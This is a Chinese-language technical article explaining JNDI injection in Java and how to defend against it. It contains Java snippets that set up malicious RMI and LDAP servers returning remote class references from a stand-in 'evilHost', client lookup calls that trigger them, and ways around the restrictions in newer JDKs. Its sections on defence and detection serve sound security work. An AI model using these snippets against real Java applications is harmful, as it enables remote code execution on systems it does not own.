浅析JNDI注入
字数 2156 2025-08-23 18:31:08
JNDI注入攻击深度分析与防御指南
1. JNDI基础概念
1.1 JNDI定义与作用
JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,它允许Java应用程序通过统一的API访问各种命名和目录服务,包括:
- JDBC
- LDAP
- RMI
- DNS
- NIS
- CORBA命名服务
1.2 核心概念
- Bindings(绑定): 名称与对象的关联关系
- Context(上下文): 一组名称到对象的绑定集合
- References(引用): 当对象无法直接存储时,存储获取对象所需的信息
- Directory Service(目录服务): 命名服务的扩展,允许对象有属性
2. JNDI架构与关键类
2.1 JNDI结构
Java JDK中提供了五个包实现JNDI功能:
javax.naming: 基本命名操作javax.naming.directory: 目录操作javax.naming.event: 事件通知javax.naming.ldap: LDAP支持javax.naming.spi: 服务提供者接口
2.2 关键类分析
InitialContext类
-
构造方法:
InitialContext(): 构建初始上下文InitialContext(boolean lazy): 延迟初始化InitialContext(Hashtable<?,?> environment): 使用环境配置构建
-
常用方法:
bind(): 名称绑定对象list(): 枚举绑定名称lookup(): 检索命名对象(关键攻击点)rebind(): 覆盖绑定unbind(): 解除绑定
Reference类
表示对命名/目录系统外部对象的引用。
-
构造方法:
Reference(String className)Reference(String className, RefAddr addr)Reference(String className, RefAddr addr, String factory, String factoryLocation)Reference(String className, String factory, String factoryLocation)
-
关键参数:
className: 远程加载的类名factory: 实例化类的名称factoryLocation: 类数据地址(支持file/ftp/http等协议)
3. JNDI注入原理
3.1 攻击流程
- 攻击者控制
lookup()方法的参数 - 客户端访问恶意的RMI或LDAP服务
- 服务返回恶意Reference对象
- 客户端从攻击者控制的地址加载恶意类
- 恶意类中的代码被执行
3.2 利用条件
- 应用使用JNDI动态查找外部可控资源
- 使用低版本JDK(默认信任远程代码)
- 或高版本JDK但配置不当(手动设置
trustURLCodebase=true)
4. 攻击实现方式
4.1 RMI协议攻击
服务端代码示例
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://evilHost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
客户端触发
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");
4.2 LDAP协议攻击
LDAP服务端示例
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://evilHost/#EvilClass")));
InMemoryDirectoryServer inMemoryDirectoryServer = new InMemoryDirectoryServer(config);
inMemoryDirectoryServer.startListening();
客户端触发
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://evilHost:9999/EvilClass");
5. JDK版本差异与绕过
5.1 高版本JDK限制
JDK 8u121及以上版本默认设置:
com.sun.jndi.rmi.object.trustURLCodebase=falsecom.sun.jndi.cosnaming.object.trustURLCodebase=false
5.2 高版本绕过技术
-
利用本地ClassPath中的类:
- 寻找实现
ObjectFactory接口的类 - 需要有无参构造函数
getObjectInstance方法可被利用
- 寻找实现
-
Tomcat依赖类利用:
org.apache.naming.factory.BeanFactory- 可利用其
invoke方法执行命令
-
手动设置信任远程代码(不推荐):
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
6. 防御措施
-
升级JDK版本:
- 使用8u121、7u131、6u141及以上版本
-
代码层面防御:
- 避免使用外部可控的JNDI查找
- 对用户输入进行严格过滤
-
配置层面防御:
- 保持默认的
trustURLCodebase=false - 限制出网连接
- 保持默认的
-
运行时防御:
- 使用SecurityManager限制敏感操作
- 监控可疑的JNDI查找行为
7. 攻击检测与排查
-
监控异常JNDI请求:
- 非内网的RMI/LDAP请求
- 非常规端口的命名服务请求
-
检查日志中的可疑行为:
- 异常的类加载记录
- 来自外部的Reference对象处理
-
分析网络流量:
- 异常的HTTP类加载请求
- 可疑的LDAP/RMI通信模式
附录:参考实验环境搭建
实验环境要求
- JDK 8u101(用于低版本实验)
- JDK 8u341(用于高版本实验)
- 网络隔离环境(避免真实攻击)
实验步骤
- 搭建恶意RMI/LDAP服务
- 准备恶意类并托管在HTTP服务
- 使用客户端触发JNDI查找
- 观察命令执行结果
- 对比不同JDK版本的行为差异
注意:本技术文档仅供安全研究与防御使用,请勿用于非法用途。